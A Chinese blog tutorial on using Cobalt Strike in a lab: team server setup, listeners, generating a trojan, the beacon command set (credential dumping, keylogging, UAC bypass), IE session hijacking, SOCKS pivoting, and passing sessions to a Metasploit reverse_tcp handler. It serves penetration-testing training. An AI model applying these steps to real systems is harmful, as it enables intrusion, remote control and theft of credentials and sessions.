Cobalt Strike主机上线及其他功能测试

发布 : 2020-04-27

简介

Cobalt Strike是一款很好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具, 该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节。

启动环境

团队服务器

在下载的Cobalt Strike 文件加中,有teamserver 和cobaltstrike.jar这两个文件,有的也有windows版的运行脚本(teamserver.bat),这两个是团队服务器启动的关键文件,将这两个文件复制到服务器端,使用管理员权限运行

1
sudo ./teamserver

启动后可以看到提示

1
2
3
4
5
./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间

按照要求输入参数运行即可,启动的默认端口是50050,修改可以到teamserver文件中修改

1
sudo ./teamserver xxx.xxx.xxx.xxx password

客户端

windows下双击cobaltstrike.exe
linxu下打开终端,在软件文件中运行下面的命令

1
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

然后输入服务端ip和自己的密码登录

使用流程

创建Listeners

点击Cobalt Strike ->Listeners->add 添加监听器,这就和msf中的监听器一个概念,其中默认八种方式

image-20200426203733783

这里只介绍几种不常见的监听方式

beacon_smb

这种上线方式走的是 SMB 协议, 正向连接, 目标机器必须开启 445 端口, 同时利用命名管道来执行命令, 对于那些在内网中无法出网的机器就特别好用. 但是并不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线.

bind_tcp

Bind TCP Beacon 与 SMB Beacon 差不多, 但它可以直接生成载荷在目标机器上执行.

reverse_tcp

指定反向连接的 Listen Host 和 Listen Port. 一般默认即可, 除非机器有多个网卡. 这里意为将该机器作为跳板机, 让上线 Beacon 去连接这台机器, 然后与 C2 通信. 因而内网中每台机器都可以创建一个 Reverse TCP Beacon Listener, 所以溯源时也会有难度.
Reverse TCP Beacon 只能通过 Stageless Payload 上线.

这里演示使用reverse_http监听,其中host为本机IP,端口为未被占用的端口

生成木马

Attacks->Packages-> 选择相应的木马文件,这里选择windows executable ,之后选择监听器,选择输出类型即可

image-20200426212019965

将木马发送给靶机,运行之后, 就可以看到主机上线了image-20200426212833914

之后右键点击 进入beacon,即可进入到命令行控制模式,输入help可以看到帮助信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
Beacon Commands
===============

Command Description
------- -----------
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 给当前目标机器备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid 为生成的post-ex任务设置父PID
ps 显示进程列表
psexec 使用服务在主机上生成会话
psexec_psh 使用PowerShell在主机上生成会话
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg 查询注册表
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu 在另一个PID下执行程序
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一个会话
spawnas 以其他用户身份生成会话
spawnto 将可执行程序注入进程
spawnu 在另一个PID下生成会话
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink 断开与Beacon的连接
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话

输入help 命令,就可以输出具体命令的参数
需要注意的是sleep参数,这是和靶机进行交互的间隔时间,默认是60s,实验中可以设置成0

功能介绍

Browser Pivot

Browser Pivot是一个针对IE浏览器的技术,利用的是IE的cookie机制,Cobalt Strike通过IE注入进程以继承用户的已验证Web会话,达到无需验证登录用户访问的网站。

这里模拟靶机登录贴吧,进行访问

image-20200426213814601

需要执行ps命令,查看用户的进程,或者右键点击目标中的进程列表查看,找到ieplore.exe的进程,这里可能会 存在多个相同的进程,因为 IE的新版本会为每个选项卡生成一个进程,我们必须将其插入子选项卡以继承会话状态。
找到相应的PID之后运行
注意:必须要使用 x86 架构的 IE 浏览器子进程来注入浏览器跳板 DLL,因为只有注入了与打开的 IE 选项卡关联的进程才能继承会话状态(通过身份认证)。
但具体是哪个标签页进程无关紧要,因为子选项卡共享会话状态。Cobalt Strike 将在它认为你可以注入的进程旁边显示一个勾选框。

1
browserpivot 找到的PID x86

或者是直接右键,选择浏览器代理

image-20200426213925323

选择开始后可以看到,代理成功

image-20200426214731968

之后到浏览器中设置代理 192.168.233.128:35707,访问靶机访问的网页,就可以直接进入登录后的页面了,这里可能是证书的问题,图片显示不正常

image-20200426215656181

1
browserpivot stop  #关闭代理

socks代理

1
2
scoks 6666
vim /etc/proxychains.conf

将代理加入进去

image-20200426220522584

然后基于可以使用proxychains代理扫描内网主机

1
proxychains nmap -Sn 192.168.233.0/24

我们还可以通过隧道将整个msf带进目标内网,点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel:

1
setg Proxies socks4:192.168.233.133:6666

打开msf对内网进行扫描

1
socks stop	#关闭socks

桌面控制

首先来看一下desktop命令的参数
image-20200427091811240

当通过图形界面选择桌面控制无法进入时,可以通过命令行,将桌面控制工具注入到exlporer.exe进程中,通过这个回来的会话来运行桌面控制image-20200427100055350

1
desktop 3912 x64 low

image-20200427100149980

可以看到成功执行了,连接桌面控制后为了防止误触,read only 是默认按下的,需要控制时,可以打开

Cabalt Strike 和 MSF 联动

在之前连接的基础上,首先获取用户uid看一下, 然后建立socks连接image-20200427101521721

然后,通过 ViewProxy Pivots,复制生成的 MSF 代理链接。 image-20200427101624557

使用msf运行上面的命令

1
2
3
setg Proxies socks4:127.0.0.1:8888 			#走代理	
setg ReverseAllowProxy true #允许双向连接
#然后就可以进行其他操作了

CS与MSF会话互传

当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp #不要用x64的payload
set lhost 192.168.233.128
set lport 2323
run -j

image-20200427102811254

然后在CS中新建 windows/foreign/reverse_tcp的Listeners,端口填写msf监听的端口

image-20200427103022074

然后选中计算机,右键->Spawn:选择MSF的监听器,然后就可以看到msf中得到一个session了,然后就可以进行下面的操作了

image-20200427103057920

REFERENCE

https://blkwindy.top/2019/10/10/Cobalt%20Strike%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B%E4%B8%80/
https://www.chabug.org/tools/755.html
http://blog.leanote.com/post/snowming/4e07af1cab60

https://blkwindy.top/2019/10/10/Cobalt%20Strike%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B%E4%B8%80/

https://payloads.cn/2019/1211/cobaltstrike-and-metasploit-combat-linkage.html

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/6ea27749.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!